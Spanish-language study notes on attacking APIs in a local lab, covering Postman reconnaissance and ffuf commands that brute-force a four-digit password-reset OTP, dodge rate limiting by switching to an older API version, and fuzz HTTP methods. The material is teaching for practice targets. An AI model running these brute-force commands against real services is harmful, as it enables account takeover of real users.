Abuso de APIs - Hacking Notes
Índice
- [[#Identificación de API]]
- [[#Analizamos la petición]]
- [[#Reconocimiento con Postman]]
- [[#Explotación de un endpoint con fuerza bruta]]
- [[#Explotación de un endpoint cambiando el método]]
- [[#SQLi y NoSQLi en APIs]]
Identificación de API
Seleccionamos la opción XHR para ver las peticiones más concretas
Analizamos la petición
-
Vemos el método y el endpoint
-
Vemos el contenido que mandamos
-
Vemos la respuesta
Nos está devolviendo un token de sesión, en este caso un [[Conceptos#JSON Web Token (JWT)]]
Reconocimiento con Postman
-
Creamos una nueva colección
-
Mandamos una petición por post al endpoint http://localhost:8888/identity/api/auth/login
Vemos que hay errores ya que faltan parámentros
- Mandamos la petición con el contenido en formato JSON
Podemos guardar esta petición para tener más organización
- Creamos otra petición para el dashboard
Vemos que da error ya que tenemos que arrastrar el JWT, debido a que este endpoint se utiliza una vez está iniciada la sesión
- Creamos una variable para usar el JWT
-
Creamos otra petición al endpoint http://localhost:8888/workshop/api/shop/products
-
Creamos otra petición al endpoint http://localhost:8888/workshop/api/shop/orders
-
Creamos otra petición al endpoint http://localhost:8888/workshop/api/shop/orders/reuturn_order?order_id=1
-
Creamos otra petición al endpoint http://localhost:8888/identity/api/auth/v3/check-otp
Ya que el código de verificación que nos mandan es únicamente de 4 dígitos, podemos emplear fuerza bruta
Explotación de un endpoint con fuerza bruta
ffuf -u http://localhost:8888/identity/api/aut/v3/check-otp -w /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt -X POST -d '{"email":"s4vitar@hack4u.io","otp":"FUZZ","password":"NewPass123$!"}' -H "Content-Type: application/json" -p 1 -mc 200
Como esta versión de API v3 tiene una restricción de solicitudes, podemos intentar mandar la misma petición a la versión más antigua expuesta, en este caso la v2
ffuf -u http://localhost:8888/identity/api/aut/v2/check-otp -w /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt -X POST -d '{"email":"s4vitar@hack4u.io","otp":"FUZZ","password":"NewPass123$!"}' -H "Content-Type: application/json" -p 1 -mc 200
Explotación de un endpoint cambiando el método
- Empleamos fuzzing
ffuf -u http://localhost:8888/workshop/api/shop/products -w /usr/share/SecLists/Fuzzing/http-request-methods.txt -X FUZZ -p 1 -mc 401,200
-
Usamos el método options
- Probamos el método POST y cambiamos los parámetros
SQLi y NoSQLi en APIs
- NoSQLi en Mongodb